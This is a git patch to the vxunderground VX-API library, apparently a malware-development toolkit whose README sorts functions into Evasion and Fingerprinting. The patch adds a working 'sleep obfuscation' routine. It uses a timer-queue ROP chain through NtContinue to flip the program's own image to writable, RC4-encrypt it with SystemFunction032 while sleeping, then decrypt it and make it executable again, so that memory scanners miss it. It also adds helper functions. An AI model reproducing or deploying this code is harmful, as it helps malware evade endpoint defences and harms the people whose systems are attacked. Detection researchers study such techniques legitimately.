From d5ed0745154dc6228664f074b5f08cc778305e12 Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Tue, 13 Dec 2022 23:55:56 -0600
Subject: [PATCH] 2.0.451
2.0.451
---
.gitignore | 3 +
README.md | 2 +
VX-API/FunctionDeclaration.h | 11 +-
VX-API/GetPeFileBaseAddress.cpp | 14 ++
VX-API/HashStringDjb2.cpp | 4 +-
VX-API/HookEngineUnhookHeapFreecpp.cpp | 2 +-
VX-API/Internal.h | 5 +
VX-API/Main.cpp | 6 +-
VX-API/SleepObfuscationViaVirtualProtect.cpp | 142 +++++++++++++++++++
VX-API/VX-API.vcxproj | 5 +-
VX-API/VX-API.vcxproj.filters | 6 +
VX-API/Win32Helper.h | 10 ++
12 files changed, 203 insertions(+), 7 deletions(-)
create mode 100644 VX-API/GetPeFileBaseAddress.cpp
create mode 100644 VX-API/SleepObfuscationViaVirtualProtect.cpp
diff --git a/.gitignore b/.gitignore
index c26129a..39232f6 100644
--- a/.gitignore
+++ b/.gitignore
@@ -20,3 +20,6 @@ x64/Debug/VX-API.exe
*.xml
*.sarif
*.lastcodeanalysissucceeded
+*.iobj
+*.ipdb
+*.exe
diff --git a/README.md b/README.md
index 2c824cb..83cdecb 100644
--- a/README.md
+++ b/README.md
@@ -80,6 +80,7 @@ You're free to use this in any manner you please. You do not need to use this en
| RemoveDllFromPeb | rad9800 | Evasion |
| HookEngineRestoreHeapFree | rad9800 | Evasion |
| HookEngineUnhookHeapFree | rad9800 | Evasion |
+| SleepObfuscationViaVirtualProtect | 5pider | Evasion |
| GetCurrentLocaleFromTeb | 3xp0rt | Fingerprinting |
| GetNumberOfLinkedDlls | smelly__vx | Fingerprinting |
| GetOsBuildNumberFromPeb | smelly__vx | Fingerprinting |
@@ -120,6 +121,7 @@ You're free to use this in any manner you please. You do not need to use this en
| IsRegistryKeyValid | smelly__vx | Helper Functions |
| FastcallExecuteBinaryShellExecuteEx | smelly__vx | Helper Functions |
| GetCurrentProcessIdFromOffset | RistBS | Helper Functions |
+| GetPeBaseAddress | smelly__vx | Helper Functions |
| GetKUserSharedData | Geoff Chappell | Library Loading |
| GetModuleHandleEx2 | smelly__vx | Library Loading |
| GetPeb | 29a | Library Loading |
diff --git a/VX-API/FunctionDeclaration.h b/VX-API/FunctionDeclaration.h
index 1b65f5f..5d2e776 100644
--- a/VX-API/FunctionDeclaration.h
+++ b/VX-API/FunctionDeclaration.h
@@ -31,6 +31,7 @@ typedef NTSTATUS(NTAPI* NTWAITFORSINGLEOBJECT)(HANDLE, BOOL, PLARGE_INTEGER);
typedef NTSTATUS(NTAPI* RTLQUEUEWORKITEM)(PRTL_WORK_ITEM_ROUTINE, PVOID, ULONG);
typedef NTSTATUS(NTAPI* RTLREGISTERWAIT)(PHANDLE, HANDLE, WORKERCALLBACKFUNC, PVOID, ULONG, ULONG);
typedef NTSTATUS(NTAPI* RTLDEREGISTERWAITEX)(HANDLE, HANDLE);
+typedef NTSTATUS(NTAPI* NTCONTINUE)(PCONTEXT, BOOL);
@@ -60,4 +61,12 @@ typedef HRESULT(WINAPI* DSCOPYFROMSHAREDFILE)(LPCWSTR, LPCWSTR);
/*******************************************
SHELL32 IMPORT
*******************************************/
-typedef HRESULT(WINAPI* DLLGETCLASSOBJECT)(REFCLSID, REFIID, LPVOID*);
\ No newline at end of file
+typedef HRESULT(WINAPI* DLLGETCLASSOBJECT)(REFCLSID, REFIID, LPVOID*);
+
+
+
+/*******************************************
+ ADVAPI32 IMPORT
+*******************************************/
+
+typedef NTSTATUS(NTAPI* SYSTEMFUNCTION032)(PAB_STRING, PAB_STRING);
\ No newline at end of file
diff --git a/VX-API/GetPeFileBaseAddress.cpp b/VX-API/GetPeFileBaseAddress.cpp
new file mode 100644
index 0000000..5290ba0
--- /dev/null
+++ b/VX-API/GetPeFileBaseAddress.cpp
@@ -0,0 +1,14 @@
+#include "Win32Helper.h"
+
+HMODULE GetPeFileBaseAddress(VOID)
+{
+ PPEB Peb = GetPebFromTeb();
+ PLDR_MODULE Module = NULL;
+
+ Module = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 16);
+
+ if (!Module)
+ return NULL;
+
+ return (HMODULE)(Module->BaseAddress ? Module->BaseAddress : NULL);
+}
\ No newline at end of file
diff --git a/VX-API/HashStringDjb2.cpp b/VX-API/HashStringDjb2.cpp
index d551880..e963ccd 100644
--- a/VX-API/HashStringDjb2.cpp
+++ b/VX-API/HashStringDjb2.cpp
@@ -3,7 +3,7 @@
DWORD HashStringDjb2A(_In_ PCHAR String)
{
ULONG Hash = 5381;
- INT c;
+ INT c = 0;
while (c = *String++)
Hash = ((Hash << 5) + Hash) + c;
@@ -14,7 +14,7 @@ DWORD HashStringDjb2A(_In_ PCHAR String)
DWORD HashStringDjb2W(_In_ PWCHAR String)
{
ULONG Hash = 5381;
- INT c;
+ INT c = 0;
while (c = *String++)
Hash = ((Hash << 5) + Hash) + c;
diff --git a/VX-API/HookEngineUnhookHeapFreecpp.cpp b/VX-API/HookEngineUnhookHeapFreecpp.cpp
index 961f644..31364f1 100644
--- a/VX-API/HookEngineUnhookHeapFreecpp.cpp
+++ b/VX-API/HookEngineUnhookHeapFreecpp.cpp
@@ -2,7 +2,7 @@
VOID HeapFreeInterceptionRoutine(PEXCEPTION_POINTERS ExceptionInfo)
{
- CONST DWORD dwSize = HeapSize((HANDLE)ExceptionInfo->ContextRecord->Rcx, (DWORD)ExceptionInfo->ContextRecord->Rdx, (LPCVOID)ExceptionInfo->ContextRecord->R8);
+ CONST DWORD dwSize = (DWORD)HeapSize((HANDLE)ExceptionInfo->ContextRecord->Rcx, (DWORD)ExceptionInfo->ContextRecord->Rdx, (LPCVOID)ExceptionInfo->ContextRecord->R8);
if (dwSize)
ZeroMemoryEx((PVOID)ExceptionInfo->ContextRecord->R8, dwSize);
diff --git a/VX-API/Internal.h b/VX-API/Internal.h
index 60bde12..f134450 100644
--- a/VX-API/Internal.h
+++ b/VX-API/Internal.h
@@ -1126,3 +1126,8 @@ typedef VOID(NTAPI* PIO_APC_ROUTINE)(PVOID ApcContext, _In_ PIO_STATUS_BLOCK IoS
typedef DWORD(CALLBACK* PRTL_WORK_ITEM_ROUTINE)(LPVOID);
+typedef struct AMBIGUOUS_STRING {
+ DWORD Length;
+ DWORD MaximumLength;
+ PUCHAR Buffer;
+}AB_STRING, * PAB_STRING;
diff --git a/VX-API/Main.cpp b/VX-API/Main.cpp
index af9556b..5c33339 100644
--- a/VX-API/Main.cpp
+++ b/VX-API/Main.cpp
@@ -37,8 +37,10 @@ int main(VOID)
//ShellcodeExecutionViaFunctionCallbackMain(&Sei);
- __demonstration_WinMain();
-
+ //hasha(NtMapViewOfSection);
+ UCHAR KeyBuf[17] = { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x00};
+
+ SleepObfuscationViaVirtualProtect(4000, KeyBuf);
return dwError;
}
diff --git a/VX-API/SleepObfuscationViaVirtualProtect.cpp b/VX-API/SleepObfuscationViaVirtualProtect.cpp
new file mode 100644
index 0000000..3cfa2dc
--- /dev/null
+++ b/VX-API/SleepObfuscationViaVirtualProtect.cpp
@@ -0,0 +1,142 @@
+#include "Win32Helper.h"
+
+
+BOOL SleepObfuscationViaVirtualProtect(_In_ DWORD dwSleepTimeInMilliseconds, _In_ PUCHAR Key)
+{
+ BOOL bFlag = FALSE;
+ NTCONTINUE NtContinue = NULL;
+ SYSTEMFUNCTION032 SystemFunction032 = NULL;
+ HMODULE hNtdll = NULL, hAdvapi32 = NULL;
+
+ PIMAGE_DOS_HEADER Dos = NULL;
+ PIMAGE_FILE_HEADER File = NULL;
+ PIMAGE_NT_HEADERS Nt = NULL;
+ PIMAGE_OPTIONAL_HEADER Optional = NULL;
+
+ HMODULE ImageBaseAddress = NULL;
+
+ CONTEXT ContextThread = { 0 }, RopVirtualProtectReadWrite = { 0 }, RopSystemFunction032Encryption = { 0 }, RopWaitForSingleObject = { 0 };
+ CONTEXT RopSystemFunction032Decryption = { 0 }, RopVirtualProtectExecute = { 0 }, RopSetEvent = { 0 };
+ AB_STRING BinaryKey = { 0 }, ImageBuffer = { 0 };
+
+ HANDLE hTimer = NULL, hTimerQueue = NULL, hEvent = NULL;
+
+ DWORD PreviousProtectionAttribute = ERROR_SUCCESS;
+
+ hNtdll = GetModuleHandleEx2W(L"ntdll.dll");
+ if (hNtdll == NULL)
+ goto EXIT_ROUTINE;
+
+ hAdvapi32 = TryLoadDllMultiMethodW((PWCHAR)L"cryptsp.dll");
+ if (hAdvapi32 == NULL)
+ goto EXIT_ROUTINE;
+
+ NtContinue = (NTCONTINUE)GetProcAddressA((DWORD64)hNtdll, "NtContinue");
+ SystemFunction032 = (SYSTEMFUNCTION032)GetProcAddressA((DWORD64)hAdvapi32, "SystemFunction032");
+
+ if (!NtContinue || !SystemFunction032)
+ goto EXIT_ROUTINE;
+
+ ImageBaseAddress = GetPeFileBaseAddress();
+ if (ImageBaseAddress == NULL)
+ goto EXIT_ROUTINE;
+
+ RtlLoadPeHeaders(&Dos, &Nt, &File, &Optional, (PBYTE*)&ImageBaseAddress);
+
+ hEvent = CreateEventW(0, 0, 0, 0);
+ if (hEvent == NULL)
+ goto EXIT_ROUTINE;
+
+ hTimerQueue = CreateTimerQueue();
+ if (hTimerQueue == NULL)
+ goto EXIT_ROUTINE;
+
+ BinaryKey.Buffer = Key;
+ BinaryKey.Length = BinaryKey.MaximumLength = 17;
+
+ ImageBuffer.Buffer = (PUCHAR)ImageBaseAddress;
+ ImageBuffer.Length = ImageBuffer.MaximumLength = Optional->SizeOfImage;
+
+ if (!CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &ContextThread, 0, 0, WT_EXECUTEINTIMERTHREAD))
+ goto EXIT_ROUTINE;
+
+ WaitForSingleObject(hEvent, 0x32);
+
+ if (CopyMemoryEx(&RopVirtualProtectReadWrite, &ContextThread, sizeof(CONTEXT)) == NULL)
+ goto EXIT_ROUTINE;
+
+ if (CopyMemoryEx(&RopSystemFunction032Encryption, &ContextThread, sizeof(CONTEXT)) == NULL)
+ goto EXIT_ROUTINE;
+
+ if (CopyMemoryEx(&RopWaitForSingleObject, &ContextThread, sizeof(CONTEXT)) == NULL)
+ goto EXIT_ROUTINE;
+
+ if (CopyMemoryEx(&RopSystemFunction032Decryption, &ContextThread, sizeof(CONTEXT)) == NULL)
+ goto EXIT_ROUTINE;
+
+ if (CopyMemoryEx(&RopVirtualProtectExecute, &ContextThread, sizeof(CONTEXT)) == NULL)
+ goto EXIT_ROUTINE;
+
+ if (CopyMemoryEx(&RopSetEvent, &ContextThread, sizeof(CONTEXT)) == NULL)
+ goto EXIT_ROUTINE;
+
+ // VirtualProtect
+ RopVirtualProtectReadWrite.Rsp -= 8;
+ RopVirtualProtectReadWrite.Rip = (DWORD64)VirtualProtect;
+ RopVirtualProtectReadWrite.Rcx = (DWORD64)ImageBaseAddress;
+ RopVirtualProtectReadWrite.Rdx = Optional->SizeOfImage;
+ RopVirtualProtectReadWrite.R8 = PAGE_READWRITE;
+ RopVirtualProtectReadWrite.R9 = (DWORD64)&PreviousProtectionAttribute;
+
+ // SystemFunction032
+ RopSystemFunction032Encryption.Rsp -= 8;
+ RopSystemFunction032Encryption.Rip = (DWORD64)SystemFunction032;
+ RopSystemFunction032Encryption.Rcx = (DWORD64)&ImageBuffer;
+ RopSystemFunction032Encryption.Rdx = (DWORD64)&BinaryKey;
+
+ // WaitForSingleObject
+ RopWaitForSingleObject.Rsp -= 8;
+ RopWaitForSingleObject.Rip = (DWORD64)WaitForSingleObject;
+ RopWaitForSingleObject.Rcx = (DWORD64)InlineGetCurrentProcess;
+ RopWaitForSingleObject.Rdx = dwSleepTimeInMilliseconds;
+
+ // SystemFunction032
+ RopSystemFunction032Decryption.Rsp -= 8;
+ RopSystemFunction032Decryption.Rip = (DWORD64)SystemFunction032;
+ RopSystemFunction032Decryption.Rcx = (DWORD64)&ImageBuffer;
+ RopSystemFunction032Decryption.Rdx = (DWORD64)&BinaryKey;
+
+ // VirtualProtect
+ RopVirtualProtectExecute.Rsp -= 8;
+ RopVirtualProtectExecute.Rip = (DWORD64)VirtualProtect;
+ RopVirtualProtectExecute.Rcx = (DWORD64)ImageBaseAddress;
+ RopVirtualProtectExecute.Rdx = Optional->SizeOfImage;
+ RopVirtualProtectExecute.R8 = PAGE_EXECUTE_READWRITE;
+ RopVirtualProtectExecute.R9 = (DWORD64)&PreviousProtectionAttribute;
+
+ // SetEvent
+ RopSetEvent.Rsp -= 8;
+ RopSetEvent.Rip = (DWORD64)SetEvent;
+ RopSetEvent.Rcx = (DWORD64)hEvent;
+
+ CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopVirtualProtectReadWrite, 100, 0, WT_EXECUTEINTIMERTHREAD);
+ CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSystemFunction032Encryption, 200, 0, WT_EXECUTEINTIMERTHREAD);
+ CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopWaitForSingleObject, 300, 0, WT_EXECUTEINTIMERTHREAD);
+ CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSystemFunction032Decryption, 400, 0, WT_EXECUTEINTIMERTHREAD);
+ CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopVirtualProtectExecute, 500, 0, WT_EXECUTEINTIMERTHREAD);
+ CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSetEvent, 600, 0, WT_EXECUTEINTIMERTHREAD);
+
+ WaitForSingleObject(hEvent, INFINITE);
+
+ bFlag = TRUE;
+
+EXIT_ROUTINE:
+
+#pragma warning( push )
+#pragma warning( disable : 6031)
+ if(hTimerQueue)
+ DeleteTimerQueue(hTimerQueue);
+#pragma warning( pop )
+
+ return bFlag;
+}
\ No newline at end of file
diff --git a/VX-API/VX-API.vcxproj b/VX-API/VX-API.vcxproj
index 7165a00..b580ebf 100644
--- a/VX-API/VX-API.vcxproj
+++ b/VX-API/VX-API.vcxproj
@@ -104,7 +104,7 @@
true
_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
- stdcpp17
+ stdcpp20
Console
@@ -119,6 +119,7 @@
true
NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
+ stdcpp20
Console
@@ -181,6 +182,7 @@
+
@@ -244,6 +246,7 @@
+
diff --git a/VX-API/VX-API.vcxproj.filters b/VX-API/VX-API.vcxproj.filters
index 2677810..66fc41c 100644
--- a/VX-API/VX-API.vcxproj.filters
+++ b/VX-API/VX-API.vcxproj.filters
@@ -513,6 +513,12 @@
Source Files\Windows API Helper Functions\Evasion
+
+ Source Files\Windows API Helper Functions\Evasion
+
+
+ Source Files\Windows API Helper Functions\Helper Functions
+
diff --git a/VX-API/Win32Helper.h b/VX-API/Win32Helper.h
index 6840adb..6338afc 100644
--- a/VX-API/Win32Helper.h
+++ b/VX-API/Win32Helper.h
@@ -15,6 +15,7 @@
#include
#include
#include
+#include
#pragma comment(lib, "Dnsapi.lib")
@@ -140,6 +141,13 @@ DWORD RtlNtStatusToDosErrorViaImport(_In_ NTSTATUS Status);
/*******************************************
CRYPTOGRAPHY RELATED
*******************************************/
+//#define TOKENIZE( x ) #x
+//#define CONCAT3( X, Y, Z ) X##Y##Z
+//#define HASHALGOA HashStringDjb2A
+//#define hasha( VAL ) constexpr auto CONCAT3(hash,VAL,A) = HASHALGOA((PCHAR)TOKENIZE(VAL))
+//#define hashw( VAL ) constexpr auto CONCAT3(hash,VAL,W) = HASHALGOA((PWCHAR)TOKENIZE(VAL))
+
+
DWORD HashStringDjb2A(_In_ PCHAR String);
DWORD HashStringDjb2W(_In_ PWCHAR String);
ULONG HashStringFowlerNollVoVariant1aA(_In_ PCHAR String);
@@ -244,6 +252,7 @@ DWORD IsRegistryKeyValidW(_In_ HKEY PredefinedKey, _In_ PWCHAR Path);
BOOL FastcallExecuteBinaryShellExecuteExW(_In_ PWCHAR FullPathToBinary, _In_ PWCHAR OptionalParameters);
BOOL FastcallExecuteBinaryShellExecuteExA(_In_ PCHAR FullPathToBinary, _In_ PCHAR OptionalParameters);
DWORD GetCurrentProcessIdFromOffset(VOID);
+HMODULE GetPeFileBaseAddress(VOID);
@@ -324,6 +333,7 @@ BOOL RemoveDllFromPebA(_In_ LPCSTR lpModuleName);
BOOL RemoveDllFromPebW(_In_ LPCWSTR lpModuleName);
BOOL HookEngineUnhookHeapFree(_In_ BOOL StartEngine);
BOOL HookEngineRestoreHeapFree(_In_ BOOL ShutdownEngine);
+BOOL SleepObfuscationViaVirtualProtect(_In_ DWORD dwSleepTimeInMilliseconds, _In_ PUCHAR Key);